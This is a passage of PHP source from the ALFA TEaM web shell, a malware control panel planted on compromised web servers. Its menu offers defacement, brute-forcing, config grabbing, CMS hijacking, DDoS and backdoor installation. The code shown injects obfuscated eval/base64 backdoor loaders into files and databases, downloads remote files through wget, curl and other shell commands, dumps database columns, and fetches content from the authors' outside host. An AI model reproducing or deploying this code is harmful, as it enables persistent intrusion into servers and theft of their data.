        $li = array('proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell');
        foreach ($li as $key => $value) {
            echo '<li><a id="menu_opt_' . $key . '" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=' . $key . '" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=' . $key . '\';g(\'' . $key . '\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">' . $value . '</a></li>' . "\n";
        }
        echo '</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=settings\';g(\'settings\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=market\';g(\'market\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=' . $GLOBALS['cwd'] . '&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt=aboutus\';g(\'aboutus\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">About Us</a>' . (!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>' : '') . '</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="' . $GLOBALS['cwd'] . '" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';
    } else {
        @error_reporting("\x00\x00\x0f\x03\x18");
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @ini_set('magic_quotes_runtime', 0);
        @set_time_limit(0);
    }
}
function alfalogout()
{
    @setcookie("AlfaUser", null, 2012);
    @setcookie("AlfaPass", null, 2012);
    unset($_COOKIE['AlfaUser'], $_COOKIE['AlfaPass']);
    echo "ok";
}
function showAnimation($name)
{
    return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
}
function __showicon($r)
{
    $s['btn'] = 'http://solevisible.com/images/btn.png';
    $s['alfamini'] = 'http://solevisible.com/images/alfamini.png';
    $s['loader'] = 'http://solevisible.com/images/loader.svg';
    //return 'data:image/png;base64,'.__get_resource($s[$r]);
    return $s[$r];
}
function alfainbackdoor()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'file')\">| In File | </a><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'db')\">| In DataBase | </a></h3></center>";
    $error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
    $success = '<font color="green">Success...!';
    $textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
    $select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
    $cwd = 'Example: /home/alfa/public_html/index.php';
    if ($_POST['alfa1'] == 'file') {
        echo "<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\"><div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select> <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='Example: /home/alfa/public_html/index.php'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '><div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div></form></p></center>";
        if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa4'] != '') {
            $method = $_POST['alfa2'];
            $file = $_POST['alfa3'];
            $shell = $_POST['alfa4'];
            $key = str_replace(array('"', '\''), '', trim($_POST['alfa5']));
            if ($key == '') {
                $key = 'alfa';
            }
            if ($method == 'my') {
                $shell = __ZW5jb2Rlcg($shell);
            } else {
                $shell = $GLOBALS['__ALFA_SHELL_CODE'];
            }
            $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x("' . $shell . '");exit;}?>';
            if (@is_file($file) && @is_writable($file)) {
                @file_put_contents($file, $code . "\n" . @file_get_contents($file));
                __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
            } else {
                __alert($error);
            }
        }
    }
    if ($_POST['alfa1'] == 'db') {
        echo "<center><p><div class='txtfont_header'>| In DataBase |</div></p>" . getConfigHtml('all') . "<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50'));
        create_table($table);
        echo "<p>{$select}</p>";
        echo $textarea;
        echo "<p><input type='submit' value=' '></p></form></p></center>";
        if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa5'] != '' && $_POST['alfa6'] != '') {
            $dbhost = $_POST['alfa2'];
            $dbuser = $_POST['alfa3'];
            $dbpw = $_POST['alfa4'];
            $dbname = $_POST['alfa5'];
            $file = $_POST['alfa6'];
            $method = $_POST['alfa7'];
            $shell = $_POST['alfa8'];
            $key = str_replace(array('"', '\''), '', trim($_POST['alfa9']));
            if ($key == '') {
                $key = 'alfa';
            }
            if ($method == 'my') {
                $shell = __ZW5jb2Rlcg($shell);
            } else {
                $shell = $GLOBALS['__ALFA_SHELL_CODE'];
            }
            if ($conn = mysqli_connect($dbhost, $dbuser, $dbpw, $dbname)) {
                $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$conn=mysqli_connect("' . str_replace('"', '\\"', $dbhost) . '","' . str_replace('"', '\\"', $dbuser) . '","' . str_replace('"', '\\"', $dbpw) . '","' . str_replace('"', '\\"', $dbname) . '");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>';
                if (@is_file($file) && @is_writable($file)) {
                    @mysqli_query($conn, 'DROP TABLE `alfa_bc`');
                    @mysqli_query($conn, 'CREATE TABLE `alfa_bc` (code LONGTEXT)');
                    @mysqli_query($conn, 'INSERT INTO `alfa_bc` VALUES("' . $shell . '")');
                    @file_put_contents($file, $code . "\n" . @file_get_contents($file));
                    __alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
                } else {
                    __alert($error);
                }
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfawhois()
{
    echo "<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>";
    if ($_POST['alfa2'] == '>>' && !empty($_POST['alfa1'])) {
        $site = str_replace(array('http://', 'https://', 'www.', 'ftp://'), '', $_POST['alfa1']);
        $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=' . $site;
        $data = @file_get_contents($target);
        if ($data == '') {
            $get = new AlfaCURL();
            $get->ssl = true;
            $data = $get->Send($target);
        }
        $target = @json_decode($data, true);
        echo __pre();
        if (is_array($target)) {
            echo $target["whois_raw"];
        } else {
            echo alfaEx("whois " . $site);
        }
    }
    echo "</div>";
}
function alfaremotedl()
{
    alfahead();
    echo "<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">\r\n<p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>\r\n<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='" . $GLOBALS['cwd'] . "'><p><input type='submit' value=' '></p>\r\n</form></p></center>";
    if (isset($_POST['alfa1'], $_POST['alfa2'], $_POST['alfa3']) && !empty($_POST['alfa1']) && $_POST['alfa3'] == '>>') {
        echo __pre();
        $url = $_POST['alfa1'];
        $path = $_POST['alfa2'];
        echo "<center>";
        if (__download($url, $path)) {
            echo "<font color=\"green\">Success...!</font>";
        } else {
            echo "<font color=\"red\">Error...!</font>";
        }
        echo "</center>";
    }
    echo "</div>";
    alfafooter();
}
function __download($url, $path = false)
{
    if (!preg_match("/[a-z]+:\\/\\/.+/", $url)) {
        return false;
    }
    $saveas = basename(rawurldecode($url));
    if ($path) {
        $saveas = $path . $saveas;
    }
    if ($content = __read_file($url)) {
        if (@is_file($saveas)) {
            @unlink($saveas);
        }
        if (__write_file($saveas, $content)) {
            return true;
        }
    }
    $buff = alfaEx("wget " . $url . " -O " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("curl " . $url . " -o " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("lwp-download " . $url . " " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("lynx -source " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("GET " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("links -source " . $url . " > " . $saveas);
    if (@is_file($saveas)) {
        return true;
    }
    $buff = alfaEx("fetch -o " . $saveas . " -p " . $url);
    if (@is_file($saveas)) {
        return true;
    }
    return false;
}
function clean_string($string)
{
    if (function_exists("iconv")) {
        $s = trim($string);
        $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
    }
    return $s;
}
function __read_file($file, $boom = true)
{
    $content = false;
    if ($fh = @fopen($file, "rb")) {
        $content = "";
        while (!feof($fh)) {
            $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
        }
        @fclose($fh);
    }
    if (empty($content) || !$content) {
        $content = alfaEx("cat '" . addslashes($file) . "'");
    }
    return $content;
}
function alfaMarket()
{
    echo "<div class='header'>";
    $curl = new AlfaCURL();
    $content = $curl->Send("http://solevisible.com/market.php");
    $data = @json_decode($content, true);
    if (!empty($data)) {
        if ($data["status"] == "open") {
            echo $data["content"];
        } else {
            echo $data["error_msg"];
        }
    } else {
        echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
    }
    echo "</div>";
}
function alfaSettings()
{
    alfahead();
    AlfaNum(6, 7, 8, 9, 10);
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Settings |</div></p><h3><a href=javascript:void(0) onclick=\"g('settings',null,null,null,null,null,null,null,null,'main')\">| Generall Setting | </a></h3></center>";
    if ($_POST["alfa8"] == "main") {
        echo "<p><center><div class=\"txtfont_header\">| Settings |</div></p><form onSubmit=\"reloadSetting(this);return false;\" method='post'>";
        $lg_array = array('0' => 'No', '1' => 'Yes');
        $penc_array = array('false' => 'No', 'true' => 'Yes');
        $protect_html = "";
        $icon_html = "";
        $postEnc_html = "";
        $login_html = "";
        $cgiapi_html = "";
        foreach ($lg_array as $key => $val) {
            $protect_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['safemode'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
        }
        foreach ($lg_array as $key => $val) {
            $icon_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
        }
        foreach ($penc_array as $key => $val) {
            $cgiapi_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa9']) && $_POST['alfa9'] == $key ? "selected" : ($GLOBALS["DB_NAME"]["cgi_api"] && empty($_POST['alfa9']) ? 'selected' : '')) . '>' . $val . '</option>';
        }
        foreach ($penc_array as $key => $val) {
            $postEnc_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa7']) && $_POST['alfa7'] == $key ? "selected" : (__ALFA_POST_ENCRYPTION__ && empty($_POST['alfa7']) ? 'selected' : '')) . '>' . $val . '</option>';
        }
        $lg_array = array("gui" => "GUI", "500" => "500 Internal Server Error", "403" => "403 Forbidden", "404" => "404 NotFound");
        foreach ($lg_array as $key => $val) {
            $login_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['login_page'] == $key ? 'selected' : '') . '>' . $val . '</option>';
        }
        echo "";
        echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">' . $protect_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">' . $cgiapi_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">' . $postEnc_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">' . $icon_html . '</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">' . $login_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="' . (empty($_POST['alfa3']) ? $GLOBALS['DB_NAME']['user'] : $_POST['alfa3']) . '" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="' . $GLOBALS['DB_NAME']['safemode'] . '"><input type="hidden" name="s" value="' . $GLOBALS['DB_NAME']['show_icons'] . '"><p><input type="submit" name="btn" value=" "></p></form></center>';
        if ($_POST['alfa5'] == '>>') {
            echo __pre();
            if (!empty($_POST['alfa3'])) {
                $protect = $_POST['alfa1'];
                $lgpage = $_POST['alfa2'];
                $username = $_POST['alfa3'];
                $password = md5($_POST['alfa4']);
                $icon = $_POST['alfa6'];
                $post_encrypt = $_POST['alfa7'];
                $cgi_api_val = $_POST['alfa9'];
                @chdir($GLOBALS['home_cwd']);
                $basename = @basename($_SERVER['PHP_SELF']);
                $data = @file_get_contents($basename);
                $user_rand = $GLOBALS["DB_NAME"]["user_rand"];
                $pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
                $login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
                $safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
                $show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
                $post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
                $cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
                $find_user = '/\'' . $user_rand . '\'(.*?),/i';
                $find_pw = '/\'' . $pass_rand . '\'(.*?),/i';
                $find_lg = '/\'' . $login_page_rand . '\'(.*?),/i';
                $find_p = '/\'' . $safemode_rand . '\'(.*?),/i';
                $icons = '/\'' . $show_icons_rand . '\'(.*?),/i';
                $postEnc = '/\'' . $post_encryption_rand . '\'(.*?),/i';
                $cgi_api_reg = '/\'' . $cgi_api_rand . '\'(.*?),/i';
                if (!empty($username) && preg_match($find_user, $data, $e)) {
                    $new = '\'' . $user_rand . '\' => \'' . $username . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($_POST['alfa4']) && preg_match($find_pw, $data, $e)) {
                    $new = '\'' . $pass_rand . '\' => \'' . $password . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($lgpage) && preg_match($find_lg, $data, $e)) {
                    $new = '\'' . $login_page_rand . '\' => \'' . $lgpage . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (!empty($find_p) && preg_match($find_p, $data, $e)) {
                    $new = '\'' . $safemode_rand . '\' => \'' . $protect . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($icons, $data, $e)) {
                    $new = '\'' . $show_icons_rand . '\' => \'' . $icon . '\',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($postEnc, $data, $e)) {
                    $new = '\'' . $post_encryption_rand . '\' => ' . $post_encrypt . ',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (preg_match($cgi_api_reg, $data, $e)) {
                    $new = '\'' . $cgi_api_rand . '\' => ' . $cgi_api_val . ',';
                    $data = str_replace($e[0], $new, $data);
                }
                if (@file_put_contents($basename, $data)) {
                    echo '<b>UserName: </b><font color="green"><b>' . $username . '</b></font><br /><b>Password: </b><font color="green"><b>' . $_POST['alfa4'] . '</b></font><script>post_encryption_mode = ' . $post_encrypt . ';</script>';
                } else {
                    __alert("<span style='color:red;'>File has no edit access...!</span>");
                }
            } else {
                __alert("<span style='color:red;'>UserName is Empty !</span>");
            }
        }
    } elseif ($_POST["alfa8"] == "color") {
        echo "<center><p><div class=\"txtfont_header\">| Custom Color |</div></p><form onSubmit=\"reloadColors();return false;\" method='post'>";
        echo "<table border=\"1\"><tbody>";
        $template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
        $x = 1;
        foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
            $multi = "";
            if (is_array($value)) {
                if (isset($value["multi_selector"])) {
                    $multi = __ZW5jb2Rlcg(json_encode($value));
                }
            }
            $value = alfa_getColor($key);
            $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
            echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
        }
        echo "<tr><td style=\"text-align:center;\">-</td><td style=\"text-align:center;\"><div class=\"tbltxt\">*</div></td><td><div style=\"margin-left:5px;\" class=\"tbltxt\">Use Default Color:</div></td><td></td><td><center><input type=\"checkbox\" id=\"use_default_color\" value=\"1\"></center></td></tr>";
        echo "</tbody></table><p><input type=\"submit\" name=\"btn\" value=\" \"></p></form><p><button style=\"padding:4px;;margin-right:20px;\" onclick=\"\$('importFileBtn').click();\" class=\"button\"> Import </button> <button style=\"padding:4px;margin-left:20px;\" onclick=\"g('settings',null,null,null,null,null,null,null,'export','color')\" class=\"button\"> Export </button></center></p>";
        if ($_POST['alfa7'] == 'export') {
            echo __pre();
            $colors = is_array($GLOBALS["DB_NAME"]["color"]) ? $GLOBALS["DB_NAME"]["color"] : array();
            $glob_colors = $GLOBALS["__ALFA_COLOR__"];
            $array = array();
            foreach ($glob_colors as $k => $v) {
                if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
                    $v = trim($colors[$k]);
                } else {
                    $v = trim(is_array($v) ? $v["key_color"] : $v);
                }
                $array[$k] = $v;
            }
            $file = "alfa_color_config_" . date('Y-m-d-h_i_s') . ".conf";
            $config = json_encode($array, JSON_PRETTY_PRINT);
            if (!@file_put_contents($file, $config)) {
                echo '<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">' . $config . '</textarea></center></p>';
            } else {
                echo '<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $file . '\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>';
            }
        }
        if ($_POST['alfa2'] == '>>') {
            echo __pre();
            $colors = json_decode($_POST["alfa1"], true);
            $array = "";
            $is_default = isset($_POST["alfa3"]) && $_POST["alfa3"] == "1" ? true : false;
            $glob_colors = $GLOBALS["__ALFA_COLOR__"];
            foreach ($glob_colors as $k => $v) {
                if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
                    $v = trim($colors[$k]);
                } else {
                    $v = trim(is_array($v) ? $v["key_color"] : $v);
                }
                $array .= '"' . trim($k) . '" => "' . $v . '",';
            }
            @chdir($GLOBALS['home_cwd']);
            $basename = @basename($_SERVER['PHP_SELF']);
            $data = @file_get_contents($basename);
            $color = '/\'color\'(.*?)\\),/s';
            if (preg_match($color, $data, $e)) {
                $new = "'color' => array(" . $array . "),";
                $data = str_replace($e[0], $new, $data);
                if (@file_put_contents($basename, $data)) {
                    echo "<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>";
                } else {
                    echo "<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>";
                }
            } else {
                echo "<center><p><h3>[-] Error...!</h3></p></center>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaaboutus()
{
    alfahead();
    echo "<div class=\"header\">";
    $news = new AlfaCURL();
    $about_us = $news->Send("http://solevisible.com/aboutus.php");
    if (empty($about_us)) {
        $about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>\r\n<b><font size='+3' color='#00A220'>&#9774; ~ PEACE ~ &#9774;</font><br><b>\r\n<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color='#00A220'>Contact : [email protected]</font><br>\r\n<font color='#00A220'>Telegram Channel: @solevisible</font><br>\r\n<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>\r\n<font color='#FFFFFF'>Skype : sole.sad</font><br>\r\n<font color='#FF0000'>Persian Gulf For Ever</font><br>\r\n<font color='#FF0000'>Iranian Programmers</font><br>\r\n<font color='#FF0000'>############</font><br>\r\n</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
    }
    echo __pre() . $about_us;
    echo "</div>";
    alfafooter();
}
function alfacoldumper()
{
    alfahead();
    echo "<div class=\"header\">";
    AlfaNum(8, 9, 10);
    echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if(\$('dumper-delimiter-type').value == 'delimiter')delimiter=\$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
    $delimiter = !empty($_POST['alfa1']) ? $_POST['alfa1'] : '::';
    $selected_data = json_decode($_POST['alfa2'], true);
    $username = $_POST['alfa3'];
    $password = $_POST['alfa4'];
    $dbname = $_POST['alfa5'];
    $dfile = $_POST['alfa6'];
    $host = $_POST['alfa7'];
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50'));
    create_table($table);
    echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
    $db = false;
    if (!empty($dbname)) {
        $db = @mysqli_connect($host, $username, $password, $dbname);
    }
    if (count($selected_data) > 0) {
        if ($db) {
            if (!is_dir($dfile)) {
                $dfile = $GLOBALS['cwd'];
            }
            $tbls = "";
            $ext = '.txt';
            if ($delimiter == 'json') {
                $ext = '.json';
            }
            foreach ($selected_data as $tbl => $cols) {
                $tables_query = mysqli_query($db, "SELECT " . implode(',', $cols) . " FROM {$tbl}");
                $file_name = $dfile . '/' . $dbname . '.' . $tbl . $ext;
                $fp = fopen($file_name, "w");
                $data = array();
                while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
                    if ($delimiter == "json") {
                        $col_arr = array();
                        foreach ($row as $key => $value) {
                            if (empty($value)) {
                                $value = "[empty]";
                            }
                            $col_arr[$key] = $value;
                        }
                        $data[$tbl][] = $col_arr;
                    } else {
                        $data = "";
                        foreach ($row as $key => $value) {
                            if (empty($value)) {
                                $value = "[empty]";
                            }
                            $data .= $value . $delimiter;
                        }
                        fwrite($fp, $data . "\n");
                    }
                }
                if ($delimiter == "json") {
                    fwrite($fp, json_encode($data));
                }
                fclose($fp);
                $tbls .= "Done ~~~> " . $file_name . "<br>";
            }
            echo __pre();
            echo "<center><font color='#00FF00'>" . $tbls . "</font></center>";
        }
    }
    if (!empty($dbname) && count($selected_data) == 0) {
        //echo __pre();
        if ($db) {
            echo "<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>";
            echo "<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>";
            $data = array();
            $tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
            while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
                $data[$row["table_name"]] = array();
                $table_count_q = mysqli_query($db, "SELECT count(*) FROM `" . $row['table_name'] . "`");
                $table_count = mysqli_fetch_row($table_count_q);
                $data[$row["table_name"]]["data_count"] = $table_count[0];
                $columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '" . $row['table_name'] . "'");
                while ($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
                    $data[$row["table_name"]]["cols"][] = $row2["column_name"];
                }
            }
            mysqli_close($db);
            echo "<ul id=\"myUL\">";
            foreach ($data as $tbl => $cols) {
